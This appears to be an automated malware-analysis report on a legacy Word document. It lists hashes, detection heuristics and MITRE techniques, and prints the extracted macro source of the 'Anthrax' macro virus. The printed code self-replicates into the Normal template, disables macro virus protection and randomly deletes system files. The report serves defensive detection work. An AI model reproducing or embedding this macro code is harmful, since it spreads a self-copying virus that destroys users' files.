Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0b4d44c78f83a3ca…

MALICIOUS

Office (OLE)

61.5 KB Created: 1998-06-02 11:02:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 0940e4c4f1b3c1775998394af2006d03 SHA-1: 960ddd2857a0a8f2824b8889a00e4ba95ddd370a SHA-256: 0b4d44c78f83a3ca266c4684e68ba5ce4a151e754aa4c98fd0109a25a4aa01d5
320 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a legacy Word document containing a WordBasic macro named 'Anthrax'. The macro is designed to infect the Normal template by copying itself, and it also attempts to display a message box to the user. The presence of AutoOpen and FileNew macros, along with the use of WordBasic functions, strongly suggests a macro-based infection attempt.

Heuristics 6

  • ClamAV: Doc.Trojan.Zmk-5 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Zmk-5
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 26512 bytes
SHA-256: f857885e7a156d22d9175938adba5523ee5653b267e63f2d0cb6ebbb3b10f2a9
Detection
ClamAV: Doc.Trojan.Zmk-5
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Anthrax"
Sub FileNew()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorFN
    Call Anthrax
ErrorFN:
End Sub
Sub AutoNew()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorAN
    Call Anthrax
ErrorAN:
End Sub
Sub AutoOpen()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorAO
iMacroCount = WordBasic.CountMacros(0, 0)
For i = 1 To iMacroCount
    If WordBasic.[MacroName$](i, 0) = "Anthrax" Then
        AnthraxInstalled = -1
    End If
Next i
If Not AnthraxInstalled Then
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Anthrax", Object:=wdOrganizerObjectProjectItems
    MsgBox "Modèle Normal infecté!!!!", vbCritical, "Virus Anthrax"
End If
ErrorAO:
End Sub
Private Sub Anthrax()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorAx
MsgBox "Anthrax est en train de contaminer votre ordinateur!!!!", vbCritical, "Virus Anthrax"
ActiveDocument.Shapes.AddLine(0#, 0#, 597.6, 0#).Select
For i = 1 To 1000
ActiveDocument.Shapes.AddLine(0#, 0#, 597.6, 0#).Select
ActiveDocument.Shapes.AddLine(0#, i, 597.6, i).Select
Selection.ShapeRange.Line.Weight = 6#
Selection.ShapeRange.Line.Visible = msoTrue
Selection.ShapeRange.Line.Style = msoLineSingle
Next i
Dim Nbre, MyDate
MyDate = Date
D$ = Mid(MyDate, 1, 2)
Randomize
Nbre = Int(Rnd * 20) + 1
If Nbre = 1 Or Nbre = 3 Or Nbre = 5 Or Nbre = 7 Then
    Kill "C:\Autoexec.bat"
    Kill "C:\Config.sys"
    Kill "C:\Windows\System\*.dll"
End If
If Nbre = 2 Or Nbre = 4 Or Nbre = 6 Or Nbre = 8 Then
Message:
    StatusBar = "HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
    For i = 1 To 400000
    Next i
    StatusBar = "       HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
    For i = 1 To 400000
    Next i
    StatusBar = "               HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
    For i = 1 To 400000
    Next i
    StatusBar = "                       HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
    For i = 1 To 400000
    Next i
    StatusBar = "                               HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
    For i = 1 To 400000
    Next i
    StatusBar = "                                       HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
    For i = 1 To 400000
    Next i
    StatusBar = "                                               HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                       HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                               HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                       HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                               HAHAHAHAHA!!!!, Je m
... (truncated)

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